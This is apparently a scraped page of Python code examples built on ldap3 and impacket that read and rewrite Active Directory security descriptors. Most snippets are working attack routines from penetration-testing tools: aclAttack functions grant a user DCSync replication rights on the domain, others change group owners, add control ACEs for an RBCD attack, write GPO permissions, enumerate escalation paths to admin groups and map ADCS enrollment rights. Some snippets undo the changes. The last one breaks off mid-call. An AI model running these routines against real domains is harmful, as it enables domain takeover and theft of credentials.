Esempio n. 1
0
def test1():
    try:
        # Set SD flags to only query for DACL设置SD标志仅查询DACL
        controls = security_descriptor_control(sdflags=0x04)
        ldap3RESTARTABLE.search(
            'DC=,DC=com',
            '(&(objectClass=user)(SAMAccountName=sdfsd112))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor', 'objectSid'],
            controls=controls)
        entry = ldap3RESTARTABLE.entries[0]
        usersid = entry['objectSid'].value
        print(usersid)
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]  # 默认权限
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        everyone = create_every_ace()
        Data = secDesc['Dacl']['Data']
        secDesc['Dacl']['Data'].remove(everyone)
        data = secDesc.getData()
        dn = entry.entry_dn
        # 修改权限
        modifynt = ldap3RESTARTABLE.modify(
            dn, {'nTSecurityDescriptor': (MODIFY_REPLACE, [data])},
            controls=controls)
        print(modifynt)
        return modifynt
    except Exception as e:
        print(e)
Esempio n. 2
0
def checkdacl():
    controls = security_descriptor_control(sdflags=0x04)
    ldap3RESTARTABLE.search(
        'DC=,DC=com',
        '(&(objectClass=user)(SAMAccountName=sdfsd112))',
        attributes=['SAMAccountName', 'nTSecurityDescriptor', 'objectSid'],
        controls=controls)
    entry = ldap3RESTARTABLE.entries[0]
    usersid = entry['objectSid'].value
    print(usersid)
    secDescData = entry['nTSecurityDescriptor'].raw_values[0]  # 默认权限
    dn = entry.entry_dn
    every_ace = create_every_ace()
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
    secDesc.fromString(secDescData)

    for ace in secDesc['Dacl'].aces:
        Sid = ace['Ace']['Sid'].formatCanonical()
        Mask = ace['Ace']['Mask']['Mask']
        if Sid == 'S-1-1-0' and Mask == 65600:
            secDesc['Dacl']['Data'].remove(ace)
    data = secDesc.getData()
    modifynt = ldap3RESTARTABLE.modify(
        dn, {'nTSecurityDescriptor': (MODIFY_REPLACE, [data])},
        controls=controls)
    print(modifynt)

    return 1
Esempio n. 3
0
def test_query(domain, username, password, target, targetuser):
    authentication = NTLM
    controls = security_descriptor_control(sdflags=0x04)
    s = Server(target, get_info=ALL)
    log.info('Connecting to host...')
    c = Connection(s,
                   user=r'%s\%s' % (domain, username),
                   password=password,
                   authentication=authentication)
    log.info('Binding to host')
    if not c.bind():
        log.info('Could not bind with specified credentials')
        log.info(c.result)
        return
    log.success('Bind OK')
    # log.success(s.info)
    if '.' in targetuser:
        search = '(dnsHostName=%s)' % targetuser
    else:
        search = '(SAMAccountName=%s)' % targetuser
    # adFltr = "(&(objectclass=user)(cn=" + rd_AD_CommonName  + "*))"
    base = s.info.other['defaultNamingContext'][0]
    log.info('query: %s base: %s' % (search, base))
    c.search(search_base=base,
             search_filter=search,
             controls=controls,
             search_scope=SUBTREE,
             attributes=ALL_ATTRIBUTES,
             size_limit=0)
    log.info(c.entries)
Esempio n. 4
0
    def validatePrivileges(self, uname, domainDumper):
        # Find the user's DN
        membersids = []
        sidmapping = {}
        privs = {
            'create': False, # Whether we can create users
            'createIn': None, # Where we can create users
            'escalateViaGroup': False, # Whether we can escalate via a group
            'escalateGroup': None, # The group we can escalate via
            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
            'aclEscalateIn': None # The object which ACL we can edit
        }
        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        sidmapping[usersid] = user.entry_dn
        membersids.append(usersid)
        # The groups the user is a member of
        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
        LOG.debug('User is a member of: %s' % self.client.entries)
        for entry in self.client.entries:
            sidmapping[entry['objectSid'].value] = entry.entry_dn
            membersids.append(entry['objectSid'].value)
        # Also search by primarygroupid
        # First get domain SID
        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
        domainsid = self.client.entries[0]['objectSid'].value
        gid = user['primaryGroupId'].value
        # Now search for this group by SID
        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
        group = self.client.entries[0]
        LOG.debug('User is a member of: %s' % self.client.entries)
        # Add the group sid of the primary group to the list
        sidmapping[group['objectSid'].value] = group.entry_dn
        membersids.append(group['objectSid'].value)
        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
        # Also get the privileges on the default Users container
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

        # Interesting groups we'd like to be a member of, in order of preference
        interestingGroups = [
            '%s-%d' % (domainsid, 519), # Enterprise admins
            '%s-%d' % (domainsid, 512), # Domain admins
            'S-1-5-32-544', # Built-in Administrators
            'S-1-5-32-551', # Backup operators
            'S-1-5-32-548', # Account operators
        ]
        privs['escalateViaGroup'] = False
        for group in interestingGroups:
            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'])
            groupdata = self.client.response
            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
            if privs['escalateViaGroup']:
                # We have a result - exit the loop
                break
        return (usersid, privs)
Esempio n. 5
0
    def validatePrivileges(self, uname, domainDumper):
        # Find the user's DN
        membersids = []
        sidmapping = {}
        privs = {
            'create': False, # Whether we can create users
            'createIn': None, # Where we can create users
            'escalateViaGroup': False, # Whether we can escalate via a group
            'escalateGroup': None, # The group we can escalate via
            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
            'aclEscalateIn': None # The object which ACL we can edit
        }
        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        sidmapping[usersid] = user.entry_dn
        membersids.append(usersid)
        # The groups the user is a member of
        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
        LOG.debug('User is a member of: %s' % self.client.entries)
        for entry in self.client.entries:
            sidmapping[entry['objectSid'].value] = entry.entry_dn
            membersids.append(entry['objectSid'].value)
        # Also search by primarygroupid
        # First get domain SID
        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
        domainsid = self.client.entries[0]['objectSid'].value
        gid = user['primaryGroupId'].value
        # Now search for this group by SID
        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
        group = self.client.entries[0]
        LOG.debug('User is a member of: %s' % self.client.entries)
        # Add the group sid of the primary group to the list
        sidmapping[group['objectSid'].value] = group.entry_dn
        membersids.append(group['objectSid'].value)
        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
        # Also get the privileges on the default Users container
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

        # Interesting groups we'd like to be a member of, in order of preference
        interestingGroups = [
            '%s-%d' % (domainsid, 519), # Enterprise admins
            '%s-%d' % (domainsid, 512), # Domain admins
            'S-1-5-32-544', # Built-in Administrators
            'S-1-5-32-551', # Backup operators
            'S-1-5-32-548', # Account operators
        ]
        privs['escalateViaGroup'] = False
        for group in interestingGroups:
            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
            groupdata = self.client.response
            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
            if privs['escalateViaGroup']:
                # We have a result - exit the loop
                break
        return (usersid, privs)
Esempio n. 6
0
    def do_write_gpo_dacl(self,line):
        args = shlex.split(line)
        print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))
        if len(args) != 2:
            raise Exception("A samaccountname and GPO sid are required.")

        tgtUser = args[0]
        gposid = args[1]
        self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])
        if len( self.client.entries) <= 0:
            raise Exception("Didnt find the given user")

        user = self.client.entries[0]

        controls = security_descriptor_control(sdflags=0x04)
        self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)

        if len( self.client.entries) <= 0:
            raise Exception("Didnt find the given gpo")
        gpo = self.client.entries[0]

        secDescData = gpo['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        newace = self.create_allow_ace(str(user['objectSid']))
        secDesc['Dacl']['Data'].append(newace)
        data = secDesc.getData()

        self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result["result"] == 0:
            print('LDAP server claims to have taken the secdescriptor. Have fun')
        else:
            raise Exception("something wasnt right")
Esempio n. 7
0
    def search(self,
               search_filter='(objectClass=*)',
               attributes=None,
               search_base=None,
               generator=True,
               use_gc=False,
               use_resolver=False,
               query_sd=False):
        """
        Search for objects in LDAP or Global Catalog LDAP.
        """
        if self.ldap is None:
            self.ldap_connect(resolver=use_resolver)
        if search_base is None:
            search_base = self.ad.baseDN
        if attributes is None or attributes == []:
            attributes = ALL_ATTRIBUTES
        if query_sd:
            # Set SD flags to only query for DACL and Owner
            controls = security_descriptor_control(sdflags=0x05)
        else:
            controls = None

        # If we don't query the GC, don't accept an empty search base
        if search_base == "" and not use_gc:
            search_base = self.ad.baseDN

        # Use the GC if this is requested
        if use_gc:
            searcher = self.gcldap
        else:
            # If this request comes from the resolver thread, use that
            if use_resolver:
                searcher = self.resolverldap
            else:
                searcher = self.ldap

        sresult = searcher.extend.standard.paged_search(search_base,
                                                        search_filter,
                                                        attributes=attributes,
                                                        paged_size=200,
                                                        controls=controls,
                                                        generator=generator)
        try:
            # Use a generator for the result regardless of if the search function uses one
            for e in sresult:
                if e['type'] != 'searchResEntry':
                    continue
                yield e
        except LDAPNoSuchObjectResult:
            # This may indicate the object doesn't exist or access is denied
            logging.warning(
                'LDAP Server reported that the search in %s for %s does not exist.',
                search_base, search_filter)
        except LDAPSocketReceiveError:
            logging.warning(
                'Connection to LDAP server lost. Will try to reconnect - data may be inaccurate'
            )
            self.ldap_connect(resolver=use_resolver)
Esempio n. 8
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            config.set_priv(True)
            config.set_dcsync(True)
            # Query the SD again to see what AD made of it
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
Esempio n. 9
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')

            # Query the SD again to see what AD made of it
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
Esempio n. 10
0
    def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m(
                '%s security descriptor is identical to before operation, skipping'
                % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(
                    secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid,
                    accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException(
                    '%s security descriptor does not contain the modified ACE. The access may already be restored.'
                    % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])},
            controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException(
                'Failed to restore WriteMember privs on group %s: %s' %
                (data['target_dn'], str(ldapconnection.result)))
Esempio n. 11
0
    def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m(
                '%s security descriptor is identical to before operation, skipping'
                % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException(
                    '%s security descriptor does not contain the modified ACE. The access may already be restored.'
                    % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])},
            controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException(
                'Failed to restore Domain sync privs on domain %s: %s' %
                (data['target_dn'], str(ldapconnection.result)))
Esempio n. 12
0
def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' %
                               (dn, userdn, str(ldapconnection.result)))
Esempio n. 13
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Query for the sid of our user
        self.client.search(userDn,
                           '(objectCategory=user)',
                           attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(
            domainDumper.root,
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(
            dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
            controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain'
                % username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
    def do_grant_control(self, line):
        args = shlex.split(line)

        if len(args) != 1 and len(args) != 2:
            raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

        controls = security_descriptor_control(sdflags=0x04)

        target_name = args[0]
        grantee_name = args[1]

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        target = self.client.entries[0]
        target_sid = target["objectSid"].value
        print("Found Target DN: %s" % target.entry_dn)
        print("Target SID: %s\n" % target_sid)

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        grantee = self.client.entries[0]
        grantee_sid = grantee["objectSid"].value
        print("Found Grantee DN: %s" % grantee.entry_dn)
        print("Grantee SID: %s" % grantee_sid)

        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])
        except IndexError:
            sd = self.create_empty_sd()

        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
        self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)

        if self.client.result['result'] == 0:
            print('DACL modified successfully!')
            print('%s now has control of %s' % (grantee_name, target_name))
        else:
            if self.client.result['result'] == 50:
                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                raise Exception('The server returned an error: %s', self.client.result['message'])
Esempio n. 15
0
    def remove_owner(ldapconnection, data):
        # Set SD flags to only query for owner
        controls = security_descriptor_control(sdflags=0x01)
        usersid = data['old_owner_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        if secDesc['OwnerSid'].formatCanonical() == usersid:
            print_m(
                '%s is owned by the same user as before exploitation, skipping'
                % data['target_dn'])
            return True
        secDesc['OwnerSid'] = LDAP_SID()
        secDesc['OwnerSid'].fromCanonical(usersid)

        secdesc_data = secDesc.getData()
        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [secdesc_data])},
            controls=controls)
        if res:
            print_o('Owner restore succesful')
            return True
        else:
            # Constraintintersection means we can't change the owner to this SID
            # TODO: investigate why this is and possible workarounds
            if ldapconnection.result['result'] == 19:
                print_f(
                    'Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.'
                    % (data['target_dn'], usersid))
                # Treat this as a success
                return True
            raise RestoreException(
                'Failed to change owner of group %s to %s: %s' %
                (data['target_dn'], usersid, str(ldapconnection.result)))
Esempio n. 16
0
    def dumpADCS(self):
        def is_template_for_authentification(entry):
            authentication_ekus = [
                b"1.3.6.1.5.5.7.3.2", b"1.3.6.1.5.2.3.4",
                b"1.3.6.1.4.1.311.20.2.2", b"2.5.29.37.0"
            ]

            # Ignore templates requiring manager approval
            if entry["attributes"]["msPKI-Enrollment-Flag"] & 0x02:
                return False

            # No EKU = works for client authentication
            if not len(entry["raw_attributes"]["pKIExtendedKeyUsage"]):
                return True

            try:
                next((eku
                      for eku in entry["raw_attributes"]["pKIExtendedKeyUsage"]
                      if eku in authentication_ekus))
                return True
            except StopIteration:
                return False

        def get_enrollment_principals(entry):
            # Mostly taken from github.com/ly4k/Certipy/certipy/security.py
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
            sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0])

            enrollment_uuids = [
                "00000000-0000-0000-0000-000000000000",  # All-Extended-Rights
                "0e10c968-78fb-11d2-90d4-00c04f79dc55",  # Certificate-Enrollment
                "a05b8cc2-17bc-4802-a710-e7c15ab866a2",  # Certificate-AutoEnrollment
            ]

            enrollment_principals = set()

            for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] ==
                        ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
                sid = format_sid(ace["Ace"]["Sid"].getData())
                if ace["Ace"]["ObjectTypeLen"] == 0:
                    uuid = bin_to_string(
                        ace["Ace"]["InheritedObjectType"]).lower()
                else:
                    uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()

                if not uuid in enrollment_uuids:
                    continue

                enrollment_principals.add(sid)

            return enrollment_principals

        def translate_sids(sids):
            default_naming_context = self.client.server.info.other[
                "defaultNamingContext"][0]
            try:
                domain_fqdn = self.client.server.info.other["ldapServiceName"][
                    0].split("@")[1]
            except (KeyError, IndexError):
                domain_fqdn = ""

            sid_map = dict()

            for sid in sids:
                try:
                    if sid.startswith("S-1-5-21-"):
                        self.client.search(
                            default_naming_context,
                            "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))"
                            % sid,
                            attributes=["name", "objectSid"],
                            search_scope=ldap3.SUBTREE)
                    else:
                        self.client.search(
                            "CN=WellKnown Security Principals," +
                            configuration_naming_context,
                            "(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))"
                            % sid,
                            attributes=["name", "objectSid"],
                            search_scope=ldap3.LEVEL)
                except:
                    sid_map[sid] = sid
                    continue

                if not len(self.client.response):
                    sid_map[sid] = sid
                else:
                    sid_map[sid] = domain_fqdn + "\\" + self.client.response[
                        0]["attributes"]["name"]

            return sid_map

        LOG.info("Attempting to dump ADCS enrollment services info")

        configuration_naming_context = self.client.server.info.other[
            'configurationNamingContext'][0]

        enrollment_service_attributes = [
            "certificateTemplates", "displayName", "dNSHostName",
            "msPKI-Enrollment-Servers", "nTSecurityDescriptor"
        ]
        self.client.search(
            "CN=Enrollment Services,CN=Public Key Services,CN=Services," +
            configuration_naming_context,
            "(objectClass=pKIEnrollmentService)",
            search_scope=ldap3.LEVEL,
            attributes=enrollment_service_attributes,
            controls=security_descriptor_control(sdflags=0x04))

        if not len(self.client.response):
            LOG.info("No ADCS enrollment service found")
            return

        offered_templates = set()
        sid_map = dict()
        for entry in self.client.response:
            LOG.info(
                "Found ADCS enrollment service `%s` on host `%s`, offering templates: %s"
                %
                (entry["attributes"]["displayName"],
                 entry["attributes"]["dNSHostName"], ", ".join((
                     "`" + tpl + "`"
                     for tpl in entry["attributes"]["certificateTemplates"]))))

            offered_templates.update(
                entry["attributes"]["certificateTemplates"])
            enrollment_principals = get_enrollment_principals(entry)

            known_sids = set(sid_map.keys())
            unknwown_sids = enrollment_principals.difference(known_sids)
            sid_map.update(translate_sids(unknwown_sids))

            LOG.info(
                "Principals who can enroll on enrollment service `%s`: %s" %
                (entry["attributes"]["displayName"], ", ".join(
                    ("`" + sid_map[principal] + "`"
                     for principal in enrollment_principals))))

        if not len(offered_templates):
            LOG.info("No templates offered by the enrollment services")
            return

        LOG.info(
            "Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval"
        )

        certificate_template_attributes = [
            "msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor",
            "pKIExtendedKeyUsage"
        ]
        self.client.search(
